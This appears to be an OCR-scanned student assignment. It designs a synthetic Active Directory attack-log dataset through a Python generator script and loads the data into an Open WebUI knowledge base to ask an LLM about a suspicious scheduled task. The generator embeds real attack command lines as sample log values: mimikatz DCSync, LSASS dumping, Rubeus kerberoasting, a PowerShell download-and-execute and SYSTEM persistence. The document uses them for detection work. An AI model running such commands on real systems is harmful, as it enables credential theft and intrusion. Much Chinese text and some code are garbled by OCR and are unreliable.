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TASK 1: Dataset Collection and Preparation

Dataset review

Dataset: https://huggingface.co/datasets/Tanvi289/Cybersecurity_Attack Dataset

Column name:
ID
Title
Category
Attack Type
Scenario Description
Tools Used
Attack Steps
Target Type
Vulnerability
MITRE Technique
Impact
Detection Method
Solution
Tags
Source

Unnamed
there's some column name that | never thought of that. For example:

Tool used: Mark as Tool used can let security enginner detect the tool's character more
faster.

Solution:In Solution column. there's show the mitigation method of each vulnerability.
It can help developer patch the vulnerabilities more precisely.

Source : Source is the website or official material of the vulnerabilities. It provide the

introduction and more details info of the vulnerabilities. Security engineer can handle the
vulnerabilities more faster.


https://huggingface.co/datasets/Tanvi289/Cybersecurity_Attack_Dataset

Design the dataset

Choose a security-related topic: AD Privilege Escalation & Lateral Movement

Schema Design

1 AD WERAE 2iREEHETS (State Transition) FFEF1T4 (Sequential Behavior) » &5t
KBRS EEEIER N —EEBHEE (Graph Database) FIH =828 » {ELAMEZE(LRY JSON 4518
REZR - HEEBTEISR -

Schema name :

Field Name

sequence_id

timestamp_utc

actor_entity

action_type

target_entity

action_payload

context_info

network_context

detection_alert

attack_stage

ad_attack_sequence

Description

BB R R
AYINEE SRR -
BEZEMHN
T A, -
WERITHE

AS e

AN

IDMTAAREY -

7

W BB
AUEIZR -

TR
BESHAIR
g o

BB RATE
M9 ATIA RSB
f5 -

R BRE
&, -
REEBAR
(4

SIEM/EDR) 5

BHLHA
Ao

GBS
BB RE

Notes/Example
EEDITRIRSEARID -

RE T BEMNIER -

{"type": "User/Service Account",
"identifier": "jdoe", "sAMAccountName":
“jdoe"}

["LDAP_Query", "Kerberos_Ticket_Request",
"Process_Execution",
"Authentication_Attempt"]

{"type": "AD_Object", "name": "Domain
Admins Group", "DN": "CN=Domain
Admins,DC=corp"}

&l : {"query_filter": "(&(objectClass=user)
(sAMAccountName=x) )", "output_attributes":
["userPrincipalName", "memberOf"]}

&l : {"preceding_privilege_level":
"Standard User",
"last_successful_auth_method": "VPN"}

{"source_ip": "10.1.1.5", "destination_ip":
"192,168.1.10", "port": 88} (FANRAIIRIIEIDHT)

{"alert_rule":
"Suspicious_Group_Membership_Change",
"severity": "High"}

[Reconnaissance, Credential_Theft,
Privilege_Escalation, Lateral_Movement]



Field Name Description Notes/Example
HA RO IR — P&

B e

Schema A ENIERIEERE ] (Model Comprehension)
FEIIREZE 751 R SR EA{% (Time, Space, and Causality)

FIREFRTE © BHREREL A (EHERAEIIR) —» B (fEA minikatz ) > REFEMESHR
AHMERIIN TSHait -

Schema EBj) : FEEIEERE timestamp_utc BHEC sequence_id > EEUHRIBASEEERTE
B E—(ERFREIEFAESREE (Causal Chain) - #HEIE =T : sequence_id AR Eventy
HIEKIN » = Eventy | BIEIERIHRE © 40 > 20K action_type =&
Kerberos_Ticket_Request - #EEIZITZIFEHA context_info HUNEES—EBMHY
authentication_attempt FCE&E ©

&% 74, B TEM) (Behavior vs. Attributes)

BIRERRTE : WBE VRS EH—(ERIESIERNEFE (2 Domain Admins ) » EEITRARGH

EREN -
Schema EBf) : 8 target_entity (B1ZEM) B2 action_type (B1T1TA) oF - {2818
Z2TED

B4 (Attribute): target_entity HiFER! NE2ESHERELHA] -

174 (Behavior): action_type &HifER! MBEEITARER /4 EEEAENKE -
MmIFHEEREH. °

& action_type (&E:f)) 88 context_info (BRJRIPHRBEIEIIELL) iF » EEIBEHIERE
E—REBNTA  EMEBEHELREREEN -

EIAAREECIE (State Memory)

Schema EBj : context_info #fI21EHE TCIER) WZD - ERHIELERESESHS
Al > MRFSTERR—ENAIRESZH TIREHE -

EHEIR : REERSEE ABBREARIEBEAME AKX » SEKMAKED BHCERTE
context_info A - BREMNNEBER (I - EFFERZIRRNERE) B4ER - BEE
H% MCEREE) MEaZHRARE » ERANXAERHEMUMBINREDT -



Create the dataset

Base on the Feild name mentioned above. Create the python script to generate a csv
dataset which content 1000 rows.

import json

import csv

import random

import uuid

from datetime import datetime, timedelta

# — ERZEH

USERS = [
("jsmith", "jsmith@corp.local", "User Account"),
("wlee", "wlee@corp.local", "User Account"),

("bchen", "bchen@corp.local", "User Account"),
("mwang", "mwang@corp.local, '"User Account"),

("alin", "alin@corp.local", "User Account"),
("thsu", "thsu@corp.local", "User Account"),
("kchang", "kchang@corp.local", "User Account"),
("ywu", "ywu@corp.local", "User Account"),

("svc-mssql", "svc-mssql@corp.local", "Service Account"),
("svc-backup", "svc-backup@corp.local™, '"Service Account"),
("svc—web", "svc-web@corp. local", "Service Account"),
("svc-scan", ""svc-scan@corp. local", "Service Account"),
("Administrator", "administrator@corp.local", "Privileged Account"),

HOSTS = [

("WORKSTATION-01","10.10.1.11","0U=Workstations,DC=corp,DC=1local"),
("WORKSTATION-02","10.10.1.12","0U=Workstations,DC=corp,DC=local"),
("WORKSTATION-03","10.10.1.13","0U=Workstations,DC=corp,DC=local"),
("WORKSTATION-04","10.10.1.14","0U=Workstations,DC=corp,DC=1local"),
("WORKSTATION-05","10.10.1.15","0U=Workstations,DC=corp,DC=local"),
("FILESERVER-01", "10.10.2.15","0U=Servers,DC=corp,DC=1local"),
("FILESERVER-02", "10.10.2.16","0OU=Servers,DC=corp,DC=local"),
("SQLSERVER-01", "10.10.2.20","OU=Servers,DC=corp,DC=local"),
("WEBSERVER-01", "10.10.2.30","O0U=Servers,DC=corp,DC=1local"),
("DCo1", "192.168.1.10","0U=Domain
Controllers,DC=corp,DC=1local"),
("DCo2", "192.168.1.11","0U=Domain

Controllers,DC=corp,DC=1local"),
]



DC_IPS = ["192.168.1.10", "192.168.1.11"]

AD_OBJECTS = [

("Domain Admins Group", "CN=Domain
Admins,CN=Users,DC=corp,DC=1local", "AD_Object"),

("Enterprise Admins Group", "CN=Enterprise
Admins,CN=Users,DC=corp,DC=1local", "AD_Object"),

("Domain Users (A11)", "DC=corp,DC=1local",
"AD_Object"),

("Group Policy Objects", "CN=Policies,CN=System,DC=corp,DC=1local",

"AD_Object"),
("AdminSDHolder",

"CN=AdminSDHolder,CN=System,DC=corp,DC=1local", "AD_Object"),
("svc-mssql", "CN=svc-

mssql,0U=ServiceAccounts,DC=corp,DC=1local","Service Account"),
("svc-backup", "CN=svc-

backup,0U=ServiceAccounts,DC=corp,DC=1local","Service Account"),
("krbtgt", "CN=krbtgt,CN=Users,DC=corp,DC=1local",

"Service Account"),

]

ATTACK_STAGE_PROFILES = {
"Reconnaissance": {
"action_types": ["LDAP_Query"],
"weight": 0.30,
"severity_pool": ["Low","Medium","Medium","High"],
"mitre_pool": ["T1087.002","T1069.002","T1615","T1018"],
"alert_pool": [
"Suspicious_LDAP_Enumeration",
"AdminSDHolder_Group_Query",
"ASREP_Roasting_Enumeration",
"GPO_Enumeration_Suspicious_Account",
"BloodHound_Pattern_Detected",
"Large_LDAP_Result_Set",
1,
I
"Credential_Theft": {
"action_types":
["Kerberos_Ticket_Request","Process_Execution","Authentication_Attempt"],
"weight": 0.30,
"severity_pool": ["High","High","Critical","Medium"],
"mitre_pool":
["T1558.003","T1558.004","T1003.001","T1003.006","T1550.002"1,
"alert_pool": [
"Kerberoasting_RC4_Downgrade",
"ASREP_Roasting_Ticket_Harvest",



"LSASS_Memory_Dump_Detected",
"DCSync_Replication_Rights",
"Mimikatz_Detected",
"Credential_Dumping_Process",
I
I
"Privilege_Escalation": {
"action_types":
["Process_Execution","Authentication_Attempt","LDAP_Query"],
"weight": 0.20,
"severity_pool": ["High","Critical","Critical","High"],
"mitre_pool": ["T1098","T1484.001","T1134","T1068"],
"alert_pool": [
"Local_Admin_Group_Modification",
"GPO_Modification_Detected",
"Token_Impersonation_Detected",
"Privileged_Account_New_Src_IP",
"AdminSDHolder_Modification",
"UAC_Bypass_Attempt",
g
Jrr
"Lateral_Movement": {
"action_types": ["Authentication_Attempt","Process_Execution"],
"weight": 0.20,
"severity_pool": ["High","High","Medium","Critical"],
"mitre_pool": ["T1550.002","T1021.002","T1021.006","T1080"],
"alert_pool": [
"Pass_The_Hash_Lateral_Movement",
"Remote_Service_Execution",
"WMI_Remote_Execution",
"Suspicious_Admin_Share_Access",
"PsExec_Remote_Execution",
"'SMB_Lateral_Movement",

LDAP_FILTERS = [
"(&(objectClass=user) (sAMAccountName=x) )",
"(&(objectClass=group) (adminCount=1))",
"(&(objectClass=user)

(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
"(objectClass=groupPolicyContainer)",
"(&(objectClass=computer) (operatingSystem=xServerx))",
"(&(objectClass=user) (servicePrincipalName=x))",
"(&(objectClass=trustedDomain))",



"(&(objectClass=user) (pwdLastSet=0))",

LDAP_ATTRS = [
["userPrincipalName","member0f","servicePrincipalName"],
["distinguishedName","member","adminCount"],
["sAMAccountName","userPrincipalName","lastLogon"],
["gPCFileSysPath","versionNumber","displayName"],

["dnsHostName","operatingSystem","lastLogonTimestamp"],

CMDLINES = [
("SharpHound.exe", "SharpHound.exe -c All —-zipfilename bloodhound.zip",
"cmd.exe"),

("mimikatz.exe", "mimikatz.exe \"1lsadump::dcsync /domain:corp.local
/all /csv\"", "cmd.exe"),

("procdump.exe", "procdump.exe —accepteula —ma lsass.exe lsass.dmp",
"cmd.exe"),

("Rubeus.exe", "Rubeus.exe kerberoast /format:hashcat
/outfile:hashes.txt", "powershell.exe"),

("Rubeus.exe", "Rubeus.exe asreproast /nowrap", "powershell.exe"),

("net.exe", "net localgroup administrators /add corp\\svc-

backup", "psexesvc.exe"),

("powershell.exe", "powershell —-ep bypass -c \"IEX(New-Object
Net.WebClient).DownloadString('http://10.10.5.99/ps.ps1')\"",
"explorer.exe"),

("SharpGPOAbuse.exe","SharpGPOAbuse.exe ——AddLocalAdmin —-UserAccount
svc-backup —-GPOName \"Default Domain Policy\"","cmd.exe"),

("wmic.exe", "wmic /node:FILESERVER-01 process call create
‘cmd.exe /c whoami'", "cmd.exe"),
("schtasks.exe", "schtasks /create /tn Updater /tr

C:\\Windows\\Temp\\update.exe /sc onlogon /ru SYSTEM", "cmd.exe"),
]

ENC_TYPES = ["RC4-HMAC","AES256-CTS-HMAC-SHA1-96","AES128-CTS-HMAC-SHA1-
96", "DES-CBC-MD5"]
AUTH_METHODS = ["NTLM","Kerberos","VPN","LDAP","Certificate"]
PRIV_LEVELS = ["Standard User","Local Admin","Domain Admin","SYSTEM",'Backup
Operator","Service Account","Privileged Account"]
PROTOCOLS_PORT = {

"LDAP": 389, "LDAPS": 636, "Kerberos'": 88,

"SMB": 445, "WMI/RPC": 135, "WinRM": 5985,

"RDP": 3389, "HTTP": 8@, "HTTPS": 443,
¥
EXTERNAL_IPS = [

"185.220.101.45","103.75.189.33","91.92.251.103",



"45.142.212.100","194.165.16.11","77.83.36.22",

# — FIIER (WBHEER)

SEQ_TEMPLATES = [
# 1: BloodHound Recon - Kerberoasting - DCSync

["Reconnaissance","Reconnaissance","Credential_Theft","Privilege_Escalation"
,""Credential_Theft"],
# 2: Pass—-the-Hash Lateral Movement

["Credential_Theft","Lateral_Movement","Privilege_Escalation","Lateral_Movem
ent"],
# 3: AS-REP Roasting - GPO Abuse

["Reconnaissance","Credential_Theft","Reconnaissance","Privilege_Escalation"

1,
# 4: Brute Force - Spray - Escalate

["Reconnaissance","Credential_Theft","Credential_Theft","Privilege_Escalatio
n","Lateral Movement"],
# 5: WMI / Remote Execution chain

["Lateral_Movement","Privilege_Escalation",'"Lateral_Movement","Lateral_Movem
ent"],
# 6: Short Recon only
['"Reconnaissance","Reconnaissance",'"Reconnaissance"],
# 7: Full Kill Chain

["Reconnaissance","Reconnaissance","Credential_Theft","Credential_Theft","Pr
ivilege_Escalation","Lateral_Movement",'"Lateral_Movement","Credential_Theft"

1,
# 8: Credential dump spree

["Credential_Theft","Credential_Theft","Credential_Theft","Lateral_Movement"
1,
]

# — HREsE

def rand_ip(subnet="10.10"):
return f"{subnet}.{random.randint(1,5)}.{random.randint(10,99)}"

def rand_user():
u = random.choice(USERS)



return {"type": ul[2], "identifier": ull], "sAMAccountName": ul[@]}

def rand_target(action_type, stage):
if action_type == "LDAP_Query" or stage == "Reconnaissance":
obj = random.choice(AD_OBJECTS)
return {"type": obj[2], "name": obj[@], "DN": obj[1]}

elif action_type == "Kerberos_Ticket_Request":
svc = random.choice([u for u in USERS if u[2] == "Service Account"])
return {"type": "Service Account", "name": svcl[0],
"DN": f"CN={svc[@]},0U=ServiceAccounts,DC=corp,DC=1local"}
else:
host = random.choice(HOSTS)
return {"type": "Host", "name": host[0],

"DN": f'"CN={host[@]},{host[2]}"}

def rand_payload(action_type, target):
if action_type == "LDAP_Query":
return {
"query_filter": random.choice(LDAP_FILTERS),
"output_attributes": random.choice(LDAP_ATTRS),
"scope": random.choice( ["subtree","onelevel"]),
"size limit": random.choice([@, 500, 1000]),

}

elif action_type == "Kerberos_Ticket_Request":
enc = random.choice(ENC_TYPES)
return {

"ticket_type": random.choice(["TGS","AS-REP"]),

"encryption_type": enc,

"spn": f"MSSQLSvc/{target.get('name', 'svc')}:1433" if "sql" in
target.get('"name","").lower() else f"HTTP/{target.get('name', 'svc')}:443",

"kerberoastable": enc == "RC4-HMAC",

¥

elif action_type == "Process_Execution":

cmd = random.choice(CMDLINES)

return {
"process_name": cmd[0],
"command_line": cmd[1],
"parent_process": cmd[2],
"hash_md5": uuid.uuid4().hex[:24],

¥

else: # Authentication_Attempt
result = random.choices(["Success","Failure"], weights=[0.4,0.6])[0]
return {
"auth_method": random.choice( ["NTLM","Kerberos"]l),
"logon_type": random.choice([2,3,10]),
"result": result,



"failure_reason": "0xC000006D" if result == "Failure" else None,

def rand_context(stage):
return {
"preceding_privilege_level": random.choice(PRIV_LEVELS),
"last_successful_auth_method": random.choice(AUTH_METHODS),
"process_name'":
random. choice( ["SharpHound.exe","Rubeus.exe","mimikatz.exe","powershell.exe"
,"cmd.exe",Nonel),
"edr_bypassed": random.choice([True, False, False, Falsel),

def rand_network(src_ip, action_type):
is_external = random.random() < 0.08
actual_src = random.choice(EXTERNAL_IPS) if is_external else src_ip

proto = "Kerberos" if action_type == "Kerberos_Ticket_Request" else \
"LDAP" if action_type == "LDAP_Query" else \
random.choice( ["SMB","WMI/RPC","WinRM"])

return {

"source_ip": actual_src,
"destination_ip": random.choice(DC_IPS),
"port": PROTOCOLS_PORT.get(proto, 445),
"protocol": proto,

"is_external_src": is_external,

def rand_alert(stage, profile):

sev = random.choice(profile["severity_pool"])

return {
"alert_rule": random.choice(profile["alert_pool"]),
"severity": sev,
"siem_id": f"ALERT-{random.randint(1000,9999)}",
"mitre_technique": random.choice(profile["mitre_pool"]),
"triggered": random.choices([True, Falsel, weights=[0.85, 0.15])[0],

def rand_quality():
return random.choices(
["clean","clean","clean","clean","dirty","duplicate","enriched"],
weights=[70,10,5,5,5,3, 2]
) [0]

# — THpEEE

def generate_dataset(n=1000):



records

= [1

seq_counter =1
base_time = datetime(2025, 1, 1, 0, 0, 0)

while len(records) < n:
template = random.choice(SEQ_TEMPLATES)

seq_
seq_

id = f"SEQ-{seq_counter:04d}"
counter +=1

# BRHERAVIEIARTRT - TE20252 F R
start = base_time + timedelta(

)

days=random. randint(@, 364),
hours=random. randint (@, 23),
minutes=random.randint(@, 59),

# WEBENIRIP (BEHEIRRE—
src_ip = rand_ip()

for i, stage in enumerate(template):

target)),

if len(records) >= n:
break

profile = ATTACK_STAGE_PROFILES[stage]

action_type = random.choice(profile["action_types"])
actor = rand_user()

target = rand_target(action_type, stage)

# EEEE (RRFRFIAE4RER1~07 i)
ts = start + timedelta(minutes=sum(
random. randint(1, 90) for _ in range(i)

))

record = {
"sequence_id": seq_id,
"timestamp_utc": ts.strftime("%Y-%m—%dT%H:%M:%SZ"),
"actor_entity":  json.dumps(actor),
"action_type": action_type,

"target_entity": json.dumps(target),
"action_payload": json.dumps(rand_payload(action_type,

"context_info":  json.dumps(rand_context(stage)),
"network_context":json.dumps(rand_network(src_ip,

action_type)),

"detection_alert":json.dumps(rand_alert(stage, profile)),
"attack_stage": stage,
"data_quality": rand_quality(),



"event_id": f"EVT-{len(records)+1:05d}",
}

records.append(record)

return records/[:n]

# — Ed

if __name__ =="__main__":
print("Generating 1000 rows...")
dataset = generate_dataset(1000)

# i CSV
csv_path = "ad_attack_sequence_1000.csv"
fieldnames = [

"event_id","sequence_id","timestamp_utc","actor_entity","action_type",
"target_entity","action_payload","context_info","network_context",
"detection_alert","attack_stage","data_quality",

]
with open(csv_path, "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=fieldnames,
extrasaction="ignore")
writer.writeheader()
writer.writerows(dataset)

print(f"CSV saved: {csv_path}")

# Bt JSON (EiR451E > 2BJR JSON 1#1u)
json_dataset = []
for row in dataset:
r = dict(row)
for field in
["actor_entity","target_entity","action_payload","context_info","network_con
text","detection_alert"]:
r[field] = json.loads(r[field])
json_dataset.append(r)

json_path = "ad_attack_sequence_1000.json"

with open(json_path, "w", encoding="utf-8") as f:
json.dump(json_dataset, f, ensure_ascii=False, indent=2)

print(f"JSON saved: {json_path}")

# BEEFaEt
from collections import Counter
stages = Counter(r["attack_stage"] for r in dataset)

quals = Counter(r["data_quality"] for r in dataset)



actions Counter(r["action_type"] for r in dataset)
seg_cnt len(set(r["sequence_id"] for r in dataset))
print (f"\nfRzHEE")

print(f" #=4#: {len(dataset)}")

print(f" IXZEEIIZ: {seq_cnt}")

print(f" IXEFEER: {dict(stages)}")

print(f" BHR&E: {dict(quals)}")

print(f" Action Type: {dict(actions)}")

Generating 1000 rows. ..
® CSV saved: ad_attack_sequence_1000.csv
® JSON saved: ad_attack_sequence_1000.json

W sstms

WEMHE: 1000

WEFTHIE: 217

WEFEE : {'Credential_Theft': 325, 'Lateral_Movement': 258, 'Privilege_Escalation': 170, 'Reconna
issance': 247}

ERl@mE: {'clean': 907, 'dirty': 50, 'duplicate': 25, 'enriched': 18}

Action Type: {'Kerberos_Ticket_Request': 115, 'Process_Execution': 292, 'Authentication_Attempt':
296, 'LDAP_Query': 297}

csv file:

i = +, =
@0 ad_attack_sequence_1000 +] = 8, [ OB ® @ @
+ IR
(¢] A B c D E F
1 ‘event_id 'sequence_id timestamp_utc actor_entity action_type target_entity
2 EVT-00001 | SEQ-0001 2025-11-08T13:28:00Z | {*type": *User Account”, * ifier": “alin@corp.Jocal", "sAMAccountName": “alin"} Kerberos_Ticket_Request | {"type": *Service Account", "name": *svc-mssal", "DN": “CN=svc-mssql,0U=ServiceAccounts,DC=corp,DC=local’}
3 EVI00002|SEQ0001 | 2025-1-0BT135300Z  {typo: “User Accol , Process_Exsotion Ctyper:” . DN "G oy [ ————
4 [EVT-00003 | SEQ-0001 2025-11-08T15:24: {"type": Process_Execution {"tys ON-03, [DC=corp,DC=local"}
5 [EVT-00004 | SEQ-0001 2025-11-08T16:06:00Z | {*type": *User Accol Process_Execution {"tyr FILESERVER-02,0U=Servers,DC=corp,DC=local'}
6 EVT-00005 | SEQ-0002 Ctyper: Attempt | ('t 02 DC=corp,DC=local’)
7 EVT-00006 | SEQ-0002 1002 | (typer: 3 Process_Exacuion oy ou oG "
8 [EVT-00007 | SEQ-0002 2025-12-04T09:59:00Z | {*type": *User Accol "mwang@corp.local”, *sAMAccountName": "mwang"} LDAP_Query {"tys ssql”, *CN=svc-mssql,0U=ServiceAccounts, DC=corp,DC=local"}
9 [EVT-00008 | SEQ-0002 2025-12-04T09:36:00Z | {“ty legec ‘administrator@corp.local’, *sAMAccountName*: "Administrator*} = Pr " d |, OU=! I}
10 EVT-00009 | SEQ-0003 | 2025-02-05T19:38:007 | (‘type’: “Privilege i Jocal",* - "} Kerberos_ Ticket_Request | (" " "sve-backup", DN CN=svc-backup,0U=ServiceAccounts,DC=corp,DC=local'}

Open WebUI knowledge base settings:

workspace :

ol FiLEEE &  gpt-0oss:20b v +
BATER
Q HEs
& =i

8: If&E



2. knowledge --> Create knowledge

i
< 5m
FEAVESIF:
AN TR 2

AD attacker
B EEA BT ?
#Bl AD BEREESITREFIE

aRE
8 e v

2
HEIERE v

BRERAFDHERNEE - FUERHENS FEIER

EIrGE

3. Upload the structural data(json)

Q +

ad_attack_sequence_1000.j... 1.2 MB



Use the knowledge

cOLLECTION AD attacker
5 AD RER @RS RRF %

FILE ad_attack_sequence_1000.json
AD attacker - 5l AD ERTE ST HEFE

#

+ B EAIRERERS

Open WebUI-v0.6.18
Before connecting the knowledge base:

Prompt:

schtasks /create /tn Updater /tr C:\\Windows\\Temp\\update.exe /sc onlogon
/ru SYSTEM EEX cmdline RIXEEENE ? RHARHRRE A ?



##1. el —a) -

BIF **omd** AFUAE THE) WRBHS » ME—E*Windows ¥ RNFHEM (Persistence)
RAfi** o

R Tupdate.exe) BERBEN (FHMBHBEBMREEER) - BEERTRTHRE ;

R Tupdate.exe) BREZFENARLAREBEEBARLNARER » WERREE[EM -

# 2. BAERE TRl BRINEREE

| BRERES | FTEEM BRI | FTAEMBTAIBIER |

| | | |

| **EFERTE*X* "Updater’ | BIAE R - RBEEN 1EE) 218 | EENOARRES - EHREE |
| **EATERTE** "C:\Windows\Temp\update.exe' | Temp ERIGEEFANRZERENYF » BEARR
AERZENE | REEHT AEZICHRFERBN Temp |

| **#1TRFRI** ‘onlogon’ | IIENENEN - HBIMERRAFIFENY | EREEH - RERANREEESNE |
| **#{TE** */ru SYSTEM' | SYSTEM REH#R » SEBRAMERIBHEC | Windows RE ~
AR |

> **%gﬁ**

> - RBERSS  BElE T—ERER) -

> - BEEEERLIFRAMEENER - BRTEEPTRHEEFEREET AN ISYSTEM Bk
RIT) B BMEERIRR -

# 3. AR ERBRNE
### 3-1. #8F update.exe’

1. (i B AR R x*

Test-Path "C:\Windows\Temp\update.exe"
EREFE - RUIBERRIEN KB -

2. **% gg:&*ﬂr

Get-Item "C:\Windows\Temp\update.exe" | Format-List *

3. BT

LRRY

- “Status: Valid® HEEET{F — JEERSERER -
— “Status: UnknownError" ~ ‘NotSigned" {28 E & RAl{5 — **BJEE** o

4. **%ﬁi‘ﬁ‘fﬁ**



Get-FileHash "C:\Windows\Temp\update.exe" —Algorithm SHA256

- EMRELEY AV EZERE (VirusTotal ~ Hybrid Analysis &) -
- ERRERCMBRREN — HE -

5. **i¥i[a)/ ERRR DT+ *

— BA PEStudio + Resource Hacker 5 IDA 22 : E&8& 'Win32_LoadLibrary’
‘Win32_ProcessCreate’ » "Win32_WriteFile' EREE R APl -

-&H > A&t

#ith 3-2. REPRETH

1. X EFF

Get-ScheduledTask —TaskName Updater | Format-List *

2. BB
— "Trigger’ /&4 "OnStartup’/'OnLogon’ °
— ‘Principal’ &4 'SYSTEM' ¢

3. * IR BFRAE >

LRNY

- 2% ‘Hidden' % 'YES' — TIAEARE -

4. **{EFH1T Bloir+*

- & Windows E448 ('Event Viewer — Windows Logs — Security’) A 4698/4699 ({E
HEEIL/MIFR) -

- BERNEBATSREREREEMS » FRTERZMREENERE - A& o

### 3-3. BERATTH

1. **Process Monitor** (ProcMon)

- #§3% "C:\Windows\Temp\update.exe' BT - BREHA BT ABMEER - TR - IREE
fthiE&rz o

- ZB A Windows Z# B  ERRFFRLEFEMRER - AISETRE -

2- **ﬁlg%ﬁ&**
- {EF “netstat —ano® 8 Wireshark IR EE2FEIEESNE IP (TH  C&C) -
— HIEIMA » FFATEEx* o

3. R E IR
- B5¥%E CPU ~ GCIEEE(5A  BERER X AEEEKERY > FTEAEE -



## 4. BHREFER (NHERAER)

1. A+ (S M FRIEFS >~

Unregister-ScheduledTask —TaskName Updater —Confirm:$false

2. **fijifF "update.exe **

Remove-Item "C:\Windows\Temp\update.exe" —Force

3. **ﬁm**
— A Windows Defender + Microsoft Defender ATP S{EE R AV BT RMIFH ©
4. ** IR B IR
— "HKLM\SYSTEM\CurrentControlSet\Services\" *
"HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\Run" » "RunOnce’ £ °
5. ** @iz B atx*
- S EEMFEMRER (20 MSI ~ BR¥E - Driver &) WZEE - f

## 5. NG

| HIBRIEE | REANE? |
| |

| #47HEE | "C:\Windows\Temp\update.exe’ — FI§¢ (JEITRELREMNE) |
| #47% | SYSTEM — SR - ERNTBEIFEN |

| #1775R | OnLogon — BRBYIEAENE |

| EREE | RBEBWKRHEHE — 0I5 |

| 3ZE | SHNEE - BE |

| TR0 | EIME - BEARFKB R — 7% |

> **%E’ﬁ**

> 5% cmd line A5 ARE THANEE] @< ; & update.exe’ AEMREENRER » HIBESE
RIS EBETA > AIERAUERRBESEI SYSTEM-ARIFLEMEAT{E AR -

> AEMLTAGEENTE » WAETLHESR - F15 - TASZERETARE -

RIFREZHE | MREFEERBNIRITEN (FINERRRRRA  ERNMHENRE - RMAZRER
%) - AIDABRM - EOEEREE -
After connecting the knowledge base:

Prompt:
schtasks /create /tn Updater /tr C:\\Windows\\Temp\\update.exe /sc onlogon



/ru SYSTEM iEEx cmdline EWZEFEZEN ? EHAZNRE SR ?

xx Bk, X% "schtasks /create /tn Updater /tr C:\Windows\Temp\update.exe /s¢ onlogon /

ru SYSTEM' S <BERMAREIEE  REWT :

| FUHTAE | 50A |

| ** B#RE&E** | "C:\Windows\Temp\update.exe™ fii F RZTIGA X H4X » FERRESENARFH
ZREE  WEEEHALBRRBEEREITRTE - |

| **HATRFP** | £ "—ru SYSTEM' EERRIKF TiE1T » ARSI - ERRGHEFBNRIZFH
FRFAENELFE - |

| **f & BFAL** | —sc onlogon’ RMERFEZENBEIHIT - BTHENFZFALEAR (MITRE
T1053.005) - |

| ** F RS B** | B—RBI4 "edr_bypassed:true’ B “preceding_privilege_level: Domain
Admin’ » EREHEESREEBNRHRT TEENE ; 2 « ZFITREIEMNSRIRS AT L
T3 [11]

> XS EANBAESTREBABEITHEENS » MAMEHEESS
#H MERIAR S AR E

1. **#§FE ‘update.exe’ AISTE I *
- & X MD5/SHA256 #5EMEARZEILE -
- BIEXHER » BARTNEERHES -
- EXHEBEZIARFAELSZER » WAFTENER -

2. **EHIZEBZ TR BG4+

- Windows EHEH - 1D4698 (BIRR{ESS) /ID4702 ({E8UES) /ID4703 (MIBRES) icE
AEEMLEESHIBIES EEX o

— #54& "Task Scheduler’ Ul 2] PowerShell (‘Get—ScheduledTask —~TaskName Updater’) #&&
ESEIE -

3. LB E BB SR *

- WNR{ESSH SYSTEM €132 - BRIEEWSHRIET4E » WIAJEIEE -

- KB BIEAY Processld” 5 “ParentProcessName’ (fflil “cmd.exe’
“SharpHound.exe’) 2&ASE -

4. ST PR AT

- iBid EDR REEEEMHEEASL (SEM) BE C:\Windows\Temp\update.exe’ HIHTIE
% °

_ #RRhHIMAEESRETH (W5 SMB - WinRM Z5E) » #—SHIANES .

5. **LE3FEMBEEE L **

- EEEF IS Hth R ERXIENR (40 "SharpHound.exe™ %
"‘DCSync_Replication_Rights® &) -



TASK 2: RAG Workflow Implementation

Because of the GPU issue. | need GPU to run the code. So | found the same dataset at kaggle
and run the code at kaggle code.

Cyber Security

Cybersecurity Attack Dataset

Uncover zero-day exploits, lateral moves, and Al-driven attack blueprints

Data Card Code (7) Discussion (1)  Suggestions (0)

About Dataset Usability ©
7.06
Overview License
This dataset is a comprehensive, easy-to-understand collection of cybersecurity incidents, threats, and vulnerabilities, designed to MIT
help both beginners and experts explore the world of digital security. It covers a wide range of modern cybersecurity challenges, from
everyday web attacks to cutting-edge threats in artificial intelligence (Al), satellites, and quantum computing. Whether you're a Expected update frequency
student, a security professional, a researcher, or just curious about cybersecurity, this dataset offers a clear and structured way to Not specified

learn about how cyber attacks happen, what they target, and how to defend against them.

Tags
With 14134 entries and 15 columns, this dataset provides detailed insights into 26 distinct cybersecurity domains, making it a valuable 9

tool for understanding the evolving landscape of digital threats. It's perfect for anyone looking to study cyber risks, develop strategies

X Cyber Security
to protect systems, or build tools to detect and prevent attacks.

What's in the Dataset?
The dataset is organized into 16 columns that describe each cybersecurity incident or research scenario in detail:

ID: A unique number for each entry (e.g., 1, 2, 3).

Title: A short, descriptive name of the attack or scenario (e.g., "Authentication Bypass via SQL Injection").
Category: The main cybersecurity area, like Mobile Security, Satellite Security, or Al Exploits.

Attack Type: The specific kind of attack, such as SQL Injection, Cross-Site Scripting (XSS), or GPS Spoofing.
Scenario Description: A plain-language explanation of how the attack works or what the scenario involves.
Toole ] - Software or tools used to carrv out or test the attack (e Burp Suite. SQOLMabp. GNURadio)

https://www.kaggle.com/datasets/tannubarot/cybersecurity-attack-and-defence-dataset/data


https://www.kaggle.com/datasets/tannubarot/cybersecurity-attack-and-defence-dataset/data

TANNU BAROT AND 2 COLLABORATORS - UPDATED 8 MONTHS AGO
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Cybersecurity Attack Dataset

Uncover zero-day exploits, lateral moves, and Al-driven attack blueprints

Data Card Code (7) Discussion (1)  Suggestions (0)
About Dataset
Overview

This dataset is a comprehensive, easy-to-understand collection of cybersecurity incidents, threats, and vu
help both beginners and experts explore the world of digital security. It covers a wide range of modern cyt
everyday web attacks to cutting-edge threats in artificial intelligence (Al), satellites, and quantum computir
student, a security professional, a researcher, or just curious about cybersecurity, this dataset offers a cle:
learn about how cyber attacks happen, what they target, and how to defend against them.

With 14134 entries and 15 columns, this dataset provides detailed insights into 26 distinct cybersecurity do
tool for understanding the evolving landscape of digital threats. It's perfect for anyone looking to study cyk
to protect systems, or build tools to detect and prevent attacks.

What's in the Dataset?
The dataset is organized into 16 columns that describe each cybersecurity incident or research scenario ir

a A6 <> Code
LOAD VIA

kagglehub - pandas DataFrame -

New to Kaggle API? Here's how to set up your APl keys

# pip install kagglehub[pandas-datasets]
import kagglehub
from kagglehub import KaggleDatasetAdapter

B 0

# Set the path to the file you'd like to load
file_path = ""

# Load the latest version
df = kagglehub.load_dataset(
KaggleDatasetAdapter.PANDAS,
"tannubarot/cybersecurity-attack-and-defence-d
ataset",
file_path,
# Provide any additional arguments like
